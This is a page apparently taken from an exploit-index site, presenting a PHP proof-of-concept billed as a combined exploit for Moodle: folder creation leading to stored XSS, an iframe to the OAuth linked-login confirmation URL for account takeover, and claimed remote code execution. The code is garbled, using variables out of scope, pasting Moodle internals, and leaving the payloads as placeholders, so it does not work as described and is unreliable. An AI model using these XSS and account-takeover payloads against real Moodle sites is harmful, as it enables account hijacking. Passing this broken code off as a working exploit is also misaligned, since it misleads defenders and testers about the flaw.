4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / PoC.php PHP
<?php
/**
 * Combined Exploit for Moodle Vulnerabilities
 */

class CombinedExploit {
    public function executeExploit() {
        // Exploit 1: Unauthenticated Arbitrary Folder Creation leading to Stored XSS
        $rev = "exploit_rev";
        $filepath = "exploit_filepath";
        $candidatefile = "{$CFG->localcachedir}/editor_tiny/{$rev}/{$filepathhash}";
        @mkdir(dirname($candidatefile), $CFG->directorypermissions, true);

        // Exploit 2: Self-XSS leading to Account Takeover
        $token = "malicious_token";
        $username = "[email protected]";
        $userid = "attacker_userid";
        $issuerid = "oauth_issuerid";
        $redirect = "http://moodle-domain/user/edit.php?id=11%231";
        $confirm_url = "http://moodle-domain/auth/oauth2/confirm-linkedlogin.php?" .
            "token={$token}&userid={$userid}&username={$username}&issuerid={$issuerid}&redirect={$redirect}";
        echo "<iframe src='{$confirm_url}'></iframe>";

        // Exploit 1: Continued
        $path = "/var/www/html/pix/f/<input><img src=x onerror=alert(1)>.png";
        $icons = array();
        if ($handle = @opendir($path)) {
            while (($file = readdir($handle)) !== false) {
                $matches = array();
                if (preg_match('~(.+?)(?:-24|-32|-48|-64|-72|-80|-96|-128|-256)?\.(?:svg|gif|png)$~',
                        $file, $matches)) {
                    $key = $matches[1];
                    $icons[$key] = $key;
                }
            }
            closedir($handle);
        }
        ksort($icons);

        // Exploit 2: Continued
        // Exploit successful, execute XSS payload
        // JavaScript payload goes here
        // ...

        // Exploit 1: Remote Code Execution
        // Exploit code goes here
        $rev = "1";  // Arbitrary value, can be controlled by attacker
        $filepathhash = "somehash";  // Arbitrary value, can be controlled by attacker

        // Construct paths for arbitrary folder creation
        $candidatefileTiny = "/var/www/html/localcachedir/editor_tiny/{$rev}/lang/{$filepathhash}/lang.json";
        $candidatefileLoader = "/var/www/html/localcachedir/editor_tiny/{$rev}/{$filepathhash}";

        // Create arbitrary folders
        @mkdir(dirname($candidatefileTiny), $CFG->directorypermissions, true);
        @mkdir(dirname($candidatefileLoader), $CFG->directorypermissions, true);

        // Exploit successful, execute remote code
        // Code execution payload goes here

        // Exploit 2: Continued
    }
}

$combinedExploitInstance = new CombinedExploit();
$combinedExploitInstance->executeExploit();
?>